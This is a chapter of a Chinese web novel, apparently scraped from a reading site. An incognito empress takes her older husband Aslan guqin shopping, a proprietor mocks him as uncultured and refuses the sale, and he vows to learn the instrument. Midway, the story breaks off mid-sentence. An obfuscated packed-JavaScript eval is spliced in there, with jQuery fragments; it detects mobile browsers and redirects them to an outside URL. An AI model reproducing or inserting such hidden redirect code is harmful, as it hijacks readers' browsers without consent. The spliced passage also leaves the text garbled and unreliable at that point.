176. 南巡(合)

作品:《金华风月

    皇帝也一时语塞,只好轻轻拍了拍阿斯兰手臂。


    他却接下皇帝这只手,与她相扣在一处。


    “我是自己要这样做,逼你让我回宫的,所以我接受这件事。”阿斯兰道,“你不用愧疚。”


    皇帝却没应下这一声。


    她罕有地默然了许久。


    “我想去那家店里看看。”过了好半晌,阿斯兰才开口打破了沉默。


    是一家琴馆。


    皇帝微微瞠目,疑惑道:“去那做什么?”


    “那家店卖琴吧?”


    “嗯,这是一家斫琴作坊。”皇帝点点头,“你要买琴?”


    阿斯兰点头:“我想买一张,像你宫里摆的那样的琴。”


    “这种琴不过是摆设,”皇帝笑道,“专供人附庸风雅的,没什么好琴,你要想摆琴我从库房里给你挑一张就是了。”


    她这话说得随意,却教一边正挑琴的客人听见了道:“娘子是外地来的吧,这家琴馆东家是维扬琴派十七代传人,藏琴只卖有缘人,听闻她先师曾有一亲斫琴,便是为先帝孝敬皇后所藏!”


    又是噱头。维扬琴派虽有名,她父亲所藏里却没有这么一号琴——先帝以专库收孝敬皇后遗物不许人入内,后来先帝驾崩,皇帝开了库,早做主将里头几张名琴给了燕王,可没见过什么维扬琴派十六代传人的亲斫琴!


    皇帝好笑,却没反驳,只道:“既然如此,我们便也进去挑挑,说不定得遇传世名琴呢。”


    阿斯兰反倒忽然胆怯起来:“我不知道什么琴好。”


    “这有什么?”皇帝摆摆手,“我音律虽不如我阿兄,一张琴还是挑得。”


    “娘子瞧着是行家?”她才一进去掌柜便迎出来笑道。


    皇帝便笑:“家中收藏了几张琴,只不过能弹响罢了,算不得行家,还请掌柜的带着瞧瞧。”


    掌柜便在皇帝与阿斯兰之间探寻了片刻,终究没多问,只笑道:“不知娘子想挑一张什么样的琴?”


    “对哦,你想要一张什么样的琴?”


    阿斯兰懵然不知所措:“我……我只是想有一张琴……”


    “也是,你也不会弹琴。”皇帝想了想,“虽说不会,可到底也得挑张好的。这样,琴板要陈年的老蜀桐,上八宝灰胎,九层生漆,陈化过至少两年的,这般才算是好琴入门,只在这般琴里头挑音色好的。”


    这是遇到懂行的了。


    掌柜忍不住擦了擦额角,讪笑道:“这等行货还请娘子往内间来。”


    她一面带着皇帝往里走,一面寒暄两句拉拢贵客:“娘子是为……为……”


    掌柜忍不住打量阿斯兰一眼又一眼:“是为家中老仆挑琴?”


    阿斯兰定在当场,忍不住看向皇帝。


    “他是我夫婿。”皇帝微笑道,握住了阿斯兰手心,“是正头夫婿。他想要一张琴,便专买与他。”


    这下连阿斯兰也微微瞠目。


    她说,是正头夫婿。


    他从未……不,是不敢肖想有此一刻,她口中称他为正室。


    她是那样看重正室的名分。


    但她说,是正头夫婿。


    “啊呀……”这下掌柜是越发尴尬起来,“向来只听过老妻少夫,不曾想今日娘子却对老夫不离不弃,娘子是难得的贞善啊……”


    阿斯兰怔了一下,也跟着掌柜打量起皇帝来。


    她瞧去还是年少模样,与初见时候丝毫没有变化。


    但他早已衰颓,在外人眼中已成了老夫少妻。


    明明她才是年长那一方。


    “原是一般年纪,不过是夫婿在家忙于庶务少些保养罢了。”皇帝笑道,随口含混过去,“女人么,有个知冷知热照料妥帖的夫婿便显年轻些,我们都成婚二十年了,老太老爷,没有少的。”


    她瞥了一眼阿斯兰,只见他仍旧低垂着头。


    “好啦,那下次我们出门,给你戴个帷帽遮脸?便说‘内宅夫婿不宜抛头露面’?”


    阿斯兰便瞪了皇帝一眼。


    “掌柜,你这就这些琴么?”


    “哦,哦……”掌柜忙叫起里头小工来,“将里头那几张也拿出来,这位娘子要看。”


    小工便打量起皇帝来:“哎,哎……掌柜……那几张琴……”


    那几张不说是东家私藏,轻易不与人看么。


    皇帝却已摆弄起外头这几张琴了,时而一手搭弦一手拨弦,时而只在琴头拨弄几根琴弦,也不成曲调。


    “里头这些确好些,灰胎厚实,漆色均匀。你想要什么样的,我的小狮子?是音色清亮的,还是浑厚的,还是透润的?”


    阿斯兰却轻声道:“怎么有这么多讲究……”


    “琴音以松透干净为佳,至于松透之外是清亮还是浑厚还是润泽便看各人喜好了。”皇帝说着又试了几张琴,“我只挑好的,至于你在这几张好琴里头究竟爱哪一张便随你,你若都喜欢,全买下来也未尝不可。”


    掌柜与阿斯兰一时不约而同望向皇帝。


    真是大手笔啊……高门贵女出手就是阔绰。


    阿斯兰张口结舌了好一会儿,开口却是道:“只挑你最喜欢的一台,我想要你喜欢的琴。”


    “我挑呀?真随我挑呀?”皇帝笑道,“要依着我这些都不算数,还有更好些的么?”


    掌柜忙道:“有,有……”又是赶紧叫小工将最里头那两床琴搬出来摆上琴桌,“这是我手中所藏最好的了,据传是当今天子胞兄燕王殿下闺中所制的。”


    皇帝没忍住一口喷出来。


    燕王?燕王音律是当世名家没错,斫琴?他也就是内府匠人斫了他去挑一张。偶尔他觉得特别好,便题个字给匠人篆刻当作是他所制,可也没有外流入民间的——燕王府可没窘迫到如此地步。


    “娘子……娘子何故发笑?”


    “没什么……这琴已是难得一见的好琴,何必挂燕王的牌子呢,白白费了斫琴师的名


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160046|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头。”皇帝摇头笑道,端坐去琴前,拇指一托,拨响一个音,便听得琴音叮咚,流水似的从手下潺潺而出。


    “就这张吧,虽算不得名品,也算佳音。”她一曲奏毕,点了点琴头,“账单送去尤氏商号会馆就是,便说是她们东家买的,账单记在东家头上。”


    掌柜面露难色:“娘子,这张咱得问问东家……这是东家藏品,只与有缘人。”


    “好吧,且问问你们东家。”皇帝笑道,“我不过轻掷千金博美人一笑罢了。”


    谁知掌柜还没上楼,便听得楼上有人朗声笑道:“娘子这首《流水》中似有苦闷不得泻出,没想到大名鼎鼎尤氏商号的东家也有不得纾解的烦忧么?”


    那可多了。皇帝腹诽,前朝的,和前朝的。没有后宫的,后宫有事算管事的不行。


    那人似乎是沉吟了片刻,见皇帝不作答才笑道:“既然娘子是博身侧夫婿一笑,在下不卖。卖与娘子这般音律娴熟之人也罢了,可是要赠予这茫然不通风雅的蛮子,在下不卖。”


    皇帝瞧了瞧阿斯兰神色。


    阿斯兰闻言只垂了眼帘:“那就不要了,我不会弹琴。我只是想要一张,像你桌上那张一样的。”


    她桌上那张是前朝皇帝内府亲斫琴,传世就剩这么一张,燕王眼馋多少年了都不给呢。


    皇帝这一下反来了劲:“我若是偏要买下呢?”


    “坊间传闻尤氏商号背后东家来头不小,娘子若要以权势压人,在下一介山野村妇,无权也无势,只家传这么几张琴罢了,对着高门贵女也做不得什么主。”


    这话是要讽刺她只靠权势欺压平民了。


    皇帝压着眉毛,怒到极处反扯起一个笑来:“我从不以权势压人,东家既然瞧不起我家夫婿,这一笔买卖原也是做不成的。走吧。”


    “嗯。”阿斯兰点点头,“走吧。”


    “你若是想要琴,我从库房里给你另挑一张,若是想要新琴,令内府制一张便罢了,燕王的名头那般响亮,令他替你寻一张也可,总是比这里的野斫好。”


    阿斯兰微微摇头,轻声道:“……我只是想起你弹琴,所以想买一张,我自己的,你库房里的琴,总是你的。”


    “这好办呀,”皇帝便笑,挽着阿斯兰手臂往会馆走,“我求一求燕王,让他替你在内府寻一张,你便用漠北的税收出这个钱从内府买下来,内府制琴只有好的。”


    真要以权势压人时候,朝臣家中的孤品名品也没有拿不到的。


    不过是皇帝惯来爱做好人罢了。


    “好,就这么办。”阿斯兰点点头,“我从内府买一张。我会学会弹琴的。”


    “你要学琴呀?”


    “嗯,那个人说我不通风雅,我会学会。”阿斯兰轻声道,“我是正头夫婿,不能给你丢脸。”


    皇帝眼睛越睁越大,终于忍不住笑起来:“你竟也学会调情了,我的小狮子……好,好,回京后我亲自教你,便从《凤求凰》教起。”